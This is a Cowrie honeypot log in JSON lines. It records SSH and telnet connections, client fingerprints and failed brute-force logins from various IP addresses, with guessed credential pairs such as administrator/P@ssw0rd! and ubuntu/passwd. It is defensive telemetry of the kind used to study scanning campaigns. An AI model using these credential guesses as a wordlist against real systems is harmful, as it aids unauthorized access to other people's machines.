{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:20:38.162914Z","src_ip":"115.68.208.117","session":"5f183c083da5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:20:38.652986Z","src_ip":"60.199.224.2","session":"98a0370859ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"linux","message":"login attempt [user/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:20:39.030613Z","src_ip":"115.68.208.117","session":"5f183c083da5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:20:40.243429Z","src_ip":"115.68.208.117","session":"5f183c083da5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.68671774864197,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:20:43.824785Z","src_ip":"38.54.119.93","session":"fdb0daaf4a9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"177.85.247.230","src_port":26176,"dst_ip":"10.17.0.5","dst_port":22,"session":"01af9ae80281","protocol":"ssh","message":"New connection: 177.85.247.230:26176 (10.17.0.5:22) [session: 01af9ae80281]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:20:44.151978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:20:44.156927Z","src_ip":"177.85.247.230","session":"01af9ae80281","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:20:44.258740Z","src_ip":"177.85.247.230","session":"01af9ae80281","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"P@ssw0rd!","message":"login attempt [administrator/P@ssw0rd!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:20:44.697630Z","src_ip":"177.85.247.230","session":"01af9ae80281","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:20:45.803997Z","src_ip":"177.85.247.230","session":"01af9ae80281","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.10.86.130","src_port":35720,"dst_ip":"159.203.135.109","dst_port":22,"session":"5866948935a4","protocol":"ssh","message":"New connection: 186.10.86.130:35720 (159.203.135.109:22) [session: 5866948935a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:20:50.035495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:20:50.040372Z","src_ip":"186.10.86.130","session":"5866948935a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:20:50.188490Z","src_ip":"186.10.86.130","session":"5866948935a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.162.42","src_port":39830,"dst_ip":"10.17.0.5","dst_port":22,"session":"d980f3ec0fb8","protocol":"ssh","message":"New connection: 152.32.162.42:39830 (10.17.0.5:22) [session: d980f3ec0fb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:20:50.659258Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:20:50.663628Z","src_ip":"152.32.162.42","session":"d980f3ec0fb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"FtpUser","message":"login attempt [ftpuser/FtpUser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:20:50.812783Z","src_ip":"186.10.86.130","session":"5866948935a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:20:50.910451Z","src_ip":"152.32.162.42","session":"d980f3ec0fb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"passwd","message":"login attempt [ubuntu/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:20:51.930148Z","src_ip":"152.32.162.42","session":"d980f3ec0fb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:20:51.964210Z","src_ip":"186.10.86.130","session":"5866948935a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:20:53.179472Z","src_ip":"152.32.162.42","session":"d980f3ec0fb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.127.97","src_port":42300,"dst_ip":"10.17.0.5","dst_port":22,"session":"d08054010ae2","protocol":"ssh","message":"New connection: 14.103.127.97:42300 (10.17.0.5:22) [session: d08054010ae2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:20:54.437080Z"}
{"eventid":"cowrie.session.closed","duration":48.900952100753784,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:20:55.972974Z","src_ip":"38.54.119.93","session":"f35feb770acf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":52062,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed0eab7dc86c","protocol":"telnet","message":"New connection: 45.81.23.16:52062 (10.17.0.5:23) [session: ed0eab7dc86c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:20:56.440465Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":52064,"dst_ip":"10.17.0.5","dst_port":23,"session":"3436a880af7a","protocol":"telnet","message":"New connection: 45.81.23.16:52064 (10.17.0.5:23) [session: 3436a880af7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:20:56.487265Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:20:57.230715Z","src_ip":"14.103.127.97","session":"d08054010ae2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:20:57.234614Z","src_ip":"14.103.127.97","session":"d08054010ae2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:20:57.241341Z","src_ip":"14.103.127.97","session":"d08054010ae2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00691485404968,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:21:03.294436Z","src_ip":"190.183.203.15","session":"3929adfa1cdf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.183.203.15","src_port":48650,"dst_ip":"159.203.135.109","dst_port":23,"session":"3377f62656f7","protocol":"telnet","message":"New connection: 190.183.203.15:48650 (159.203.135.109:23) [session: 3377f62656f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:21:03.668169Z"}
{"eventid":"cowrie.session.closed","duration":8.668579816818237,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:21:05.155735Z","src_ip":"45.81.23.16","session":"3436a880af7a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.178128242492676,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:21:06.618461Z","src_ip":"45.81.23.16","session":"ed0eab7dc86c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"191.101.59.69","src_port":40664,"dst_ip":"159.203.135.109","dst_port":22,"session":"461ae4d6dd2f","protocol":"ssh","message":"New connection: 191.101.59.69:40664 (159.203.135.109:22) [session: 461ae4d6dd2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:21:07.770546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:21:07.774578Z","src_ip":"191.101.59.69","session":"461ae4d6dd2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:21:07.856320Z","src_ip":"191.101.59.69","session":"461ae4d6dd2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysadmin","password":"sysadmin2020","message":"login attempt [sysadmin/sysadmin2020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:21:08.214383Z","src_ip":"191.101.59.69","session":"461ae4d6dd2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:21:09.303563Z","src_ip":"191.101.59.69","session":"461ae4d6dd2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.113.245.157","src_port":54060,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2ab5f2afc71","protocol":"ssh","message":"New connection: 186.113.245.157:54060 (10.17.0.5:22) [session: c2ab5f2afc71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:21:12.438556Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:21:12.443452Z","src_ip":"186.113.245.157","session":"c2ab5f2afc71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:21:12.535306Z","src_ip":"186.113.245.157","session":"c2ab5f2afc71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftptest","password":"123321","message":"login attempt [ftptest/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:21:12.933005Z","src_ip":"186.113.245.157","session":"c2ab5f2afc71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:21:14.031378Z","src_ip":"186.113.245.157","session":"c2ab5f2afc71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00170874595642,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:21:14.292993Z","src_ip":"190.183.203.15","session":"0101d807250a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.183.203.15","src_port":51340,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b690d6aaa65","protocol":"telnet","message":"New connection: 190.183.203.15:51340 (159.203.135.109:23) [session: 6b690d6aaa65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:21:14.612413Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":58106,"dst_ip":"10.17.0.5","dst_port":23,"session":"87e3f20e025d","protocol":"telnet","message":"New connection: 38.54.119.93:58106 (10.17.0.5:23) [session: 87e3f20e025d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:21:17.645154Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":60040,"dst_ip":"10.17.0.5","dst_port":23,"session":"39d17315f0c7","protocol":"telnet","message":"New connection: 45.81.23.16:60040 (10.17.0.5:23) [session: 39d17315f0c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:21:22.858840Z"}
{"eventid":"cowrie.session.connect","src_ip":"60.199.224.2","src_port":42786,"dst_ip":"159.203.135.109","dst_port":22,"session":"664e220aa2e3","protocol":"ssh","message":"New connection: 60.199.224.2:42786 (159.203.135.109:22) [session: 664e220aa2e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:21:31.375998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:21:31.380700Z","src_ip":"60.199.224.2","session":"664e220aa2e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1